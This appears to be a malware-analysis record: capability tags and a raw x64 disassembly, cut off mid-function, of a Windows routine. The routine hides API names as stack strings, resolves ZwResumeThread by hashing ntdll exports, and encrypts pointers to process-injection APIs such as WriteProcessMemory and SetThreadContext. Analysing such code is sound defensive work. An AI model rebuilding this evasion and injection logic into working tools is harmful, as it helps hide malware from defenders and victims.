Function at 0x140004760
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Generate random numbers using a mersenne twister
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3130]
mov eax, 0x3230
call fcn.14000ca10
sub rsp, rax
mov rax, qword [0x140015040]
xor rax, rsp
mov qword [rbp + 0x3120], rax
mov qword [rsp + 0x70], r9
mov qword [rsp + 0x78], rdx
mov r12, rcx
call fcn.140003f80
mov r8d, 0x208
lea rdx, [rbp + 0x1d00]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x1400047cb
mov eax, 0xfffffffe
jmp 0x1400049dc
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r14, rax
mov qword [rsp + 0x60], rax
test rax, rax
jne 0x14000481f
lea rdx, str.Failed_to_get_handle_to_kernel32.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
mov eax, 1
jmp 0x1400049dc
xor r13d, r13d
mov ebx, r13d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x1400048db
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x58], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000007
jge 0x14000486d
dec eax
or eax, 0xfffffff8
inc eax
mov edx, dword [rbp - 0x58]
mov ecx, eax
shl edx, cl
mov eax, dword [rbp - 0x58]
xor eax, edx
mov dword [rsp + 0x50], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000007
jge 0x140004891
dec eax
or eax, 0xfffffff8
inc eax
mov edx, dword [rsp + 0x50]
mov ecx, eax
sar edx, cl
mov eax, dword [rsp + 0x50]
xor eax, edx
mov dword [rsp + 0x50], eax
mov ecx, dword [rsp + 0x50]
mov eax, dword [rbp - 0x58]
imul ecx, eax
mov dword [rsp + 0x58], ecx
inc ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp ebx, edi
jl 0x140004850
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r10, rax
test rax, rax
jne 0x1400048fc
lea rdx, str.Failed_to_load_ntdll.dll
jmp 0x1400049bb
mov dword [rbp + 0x1950], 0x6552775a
mov dword [rbp + 0x1954], 0x656d7573
mov dword [rbp + 0x1958], 0x65726854
mov word [rbp + 0x195c], 0x6461
mov byte [rbp + 0x195e], r13b
lea rcx, [rbp + 0x1950]
mov edi, r13d
mov al, 0x5a
nop word [rax + rax]
ror edi, 0xd
movsx eax, al
add edi, eax
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140004940
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [rax + r10 + 0x88]
add rcx, r10
mov r8d, dword [rcx + 0x20]
add r8, r10
mov ebx, dword [rcx + 0x24]
add rbx, r10
mov esi, dword [rcx + 0x1c]
add rsi, r10
mov r9d, r13d
mov r11d, dword [rcx + 0x18]
test r11d, r11d
je 0x1400049b4
mov edx, dword [r8]
add rdx, r10
mov eax, r13d
movzx ecx, byte [rdx]
test cl, cl
je 0x1400049a4
ror eax, 0xd
movsx ecx, cl
add eax, ecx
lea rdx, [rdx + 1]
movzx ecx, byte [rdx]
test cl, cl
jne 0x140004991
cmp eax, edi
je 0x140004a06
inc r9d
add r8, 4
cmp r9d, r11d
jb 0x140004981
lea rdx, str.Failed_to_resolve_ZwResumeThread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
lea rdx, [0x1400092d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x3120]
xor rcx, rsp
call fcn.14000b9c0
mov rbx, qword [rsp + 0x3280]
add rsp, 0x3230
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov eax, r9d
movzx ecx, word [rbx + rax*2]
mov eax, dword [rsi + rcx*4]
add rax, r10
mov qword [rsp + 0x68], rax
je 0x1400049b4
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x19c0]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x19a0]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
lea rdx, str.WriteProcessMemory
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
mov rcx, qword [0x140017350]
mov qword [rbp - 0x10], rcx
lea rcx, [rbp + 0x538]
call fcn.140003250
nop
lea rdx, str.Obfuscated_String:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400090f0
lea rdx, [rbp + 0x538]
cmp qword [rbp + 0x550], 0xf
cmova rdx, qword [rbp + 0x538]
mov r8, qword [rbp + 0x548]
mov rcx, rax
call fcn.140009e10
lea rdx, [0x1400092d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x538]
lea rcx, [rbp + 0x4d0]
call fcn.1400038f0
nop
lea rdx, str.Hex_Representation:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400090f0
lea rdx, [rbp + 0x4d0]
cmp qword [rbp + 0x4e8], 0xf
cmova rdx, qword [rbp + 0x4d0]
mov r8, qword [rbp + 0x4e0]
mov rcx, rax
call fcn.140009e10
lea rdx, [0x1400092d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x1960]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x1940]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
mov byte [rsp + 0x20], 1
lea r9, [rbp + 0x19a0]
lea r8, [rbp + 0x19c0]
lea rdx, [rbp + 0x538]
lea rcx, [rbp + 0x518]
call fcn.140003610
nop
lea rdx, [rbp + 0x518]
lea rcx, [rbp - 0x78]
call fcn.1400038f0
mov rdi, rax
lea rdx, str.Encrypted_String__Hex_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400090f0
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140004bbf
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140009e10
lea rdx, [0x1400092d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140004c1b
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004c15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004c15
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
mov byte [rsp + 0x20], 0
lea r9, [rbp + 0x19a0]
lea r8, [rbp + 0x19c0]
lea rdx, [rbp + 0x518]
lea rcx, [rbp + 0x4f8]
call fcn.140003610
nop
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140004df9
lea rdx, str.Failed_to_get_module_handle_for_ntdll.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140004cd1
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ccb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004ccb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x508], r13
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], 0
mov rdx, qword [rbp + 0x530]
cmp rdx, 0xf
jbe 0x140004d2f
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004d29
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x528], r13
mov qword [rbp + 0x530], 0xf
mov byte [rbp + 0x518], 0
mov rdx, qword [rbp + 0x4e8]
cmp rdx, 0xf
jbe 0x140004d8d
inc rdx
mov rcx, qword [rbp + 0x4d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004d87
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x4e0], r13
mov qword [rbp + 0x4e8], 0xf
mov byte [rbp + 0x4d0], 0
mov rdx, qword [rbp + 0x550]
cmp rdx, 0xf
jbe 0x140004fa9
inc rdx
mov rcx, qword [rbp + 0x538]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004de9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004de9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov eax, 1
jmp 0x1400049dc
lea rdx, [rbp + 0x4f8]
cmp qword [rbp + 0x510], 0xf
cmova rdx, qword [rbp + 0x4f8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x80], rax
test rax, rax
jne 0x140004fb3
lea rdx, str.Failed_to_get_address_of_ZwSetContextThread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140004e8f
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e89
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004e89
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x508], r13
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], 0
mov rdx, qword [rbp + 0x530]
cmp rdx, 0xf
jbe 0x140004eed
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ee7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004ee7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x528], r13
mov qword [rbp + 0x530], 0xf
mov byte [rbp + 0x518], 0
mov rdx, qword [rbp + 0x4e8]
cmp rdx, 0xf
jbe 0x140004f4b
inc rdx
mov rcx, qword [rbp + 0x4d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004f45
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x4e0], r13
mov qword [rbp + 0x4e8], 0xf
mov byte [rbp + 0x4d0], 0
mov rdx, qword [rbp + 0x550]
cmp rdx, 0xf
jbe 0x140004fa9
inc rdx
mov rcx, qword [rbp + 0x538]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fa3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004fa3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov eax, 1
jmp 0x1400049dc
mov ecx, pe_nt_image_headers64
call fcn.14000bec4
mov rdi, rax
mov ecx, pe_nt_image_headers64
call fcn.14000bec4
mov rsi, rax
mov dword [rbp - 0x54], r13d
mov dword [rbp - 0x50], r13d
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x1bc0]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x19b0]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
mov dword [rsp + 0x20], 0xf
lea r9, str.ZwResumeThread
lea r8, [rbp - 0x54]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
movsxd rdx, dword [rbp - 0x54]
add rdx, rdi
lea r8, [rbp + 0x4f0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
mov eax, dword [rbp + 0x4f0]
add dword [rbp - 0x54], eax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
mov dword [rsp + 0x20], 8
lea r9, [rbp - 0x10]
lea r8, [rbp - 0x50]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
movsxd rdx, dword [rbp - 0x50]
add rdx, rsi
lea r8, [rbp + 0x4f0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
mov eax, dword [rbp + 0x4f0]
add dword [rbp - 0x50], eax
mov dword [rbp - 0x4c], r13d
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
mov eax, dword [rbp - 0x54]
mov dword [rsp + 0x20], eax
mov r9, rdi
lea r8, [rbp - 0x4c]
lea rdx, [rbp + 0x1c00]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
movsxd rax, dword [rbp - 0x4c]
lea rdx, [rbp + 0x1c00]
add rdx, rax
lea r8, [rbp + 0x4f0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
mov eax, dword [rbp + 0x4f0]
add dword [rbp - 0x4c], eax
mov qword [rbp - 0x30], r13
mov dword [rbp - 0x48], r13d
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
mov eax, dword [rbp - 0x50]
mov dword [rsp + 0x20], eax
mov r9, rsi
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x30]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
movsxd rax, dword [rbp - 0x48]
lea rdx, [rbp - 0x30]
add rdx, rax
lea r8, [rbp + 0x4f0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
mov eax, dword [rbp + 0x4f0]
add dword [rbp - 0x48], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, r13d
mov r14d, r13d
mov r15d, r13d
mov dword [rsp + 0x50], r13d
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rsp + 0x60]
sub rax, rcx
mov qword [rbp + 0x570], rax
mov rax, qword [rsp + 0x58]
sub rax, rcx
mov qword [rbp + 0x578], rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
sub rax, rcx
mov qword [rbp + 0x580], rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
sub rax, rcx
mov qword [rbp + 0x588], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
sub rax, rcx
mov qword [rbp + 0x590], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005267
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000531f
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x1400052b9
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005316
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x570]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1a00]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x1400052ea
lea rdx, str.Failed_to_encrypt_data
jmp 0x14000529b
movsxd rsi, dword [rbp - 0x58]
lea rdx, [rbp + 0x1a00]
add rdx, rsi
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x140005313
lea rdx, str.Failed_to_finalize_encryption
jmp 0x14000529b
add esi, dword [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005355
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000540e
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x1400053a7
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005405
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x578]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1a40]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x1400053d8
lea rdx, str.Failed_to_encrypt_data
jmp 0x140005389
movsxd r14, dword [rbp - 0x58]
lea rdx, [rbp + 0x1a40]
add rdx, r14
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x140005401
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140005389
add r14d, dword [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005444
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400054fd
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140005496
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400054f4
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x580]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1a80]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x1400054c7
lea rdx, str.Failed_to_encrypt_data
jmp 0x140005478
movsxd r15, dword [rbp - 0x58]
lea rdx, [rbp + 0x1a80]
add rdx, r15
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x1400054f0
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140005478
add r15d, dword [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005533
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400055ec
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
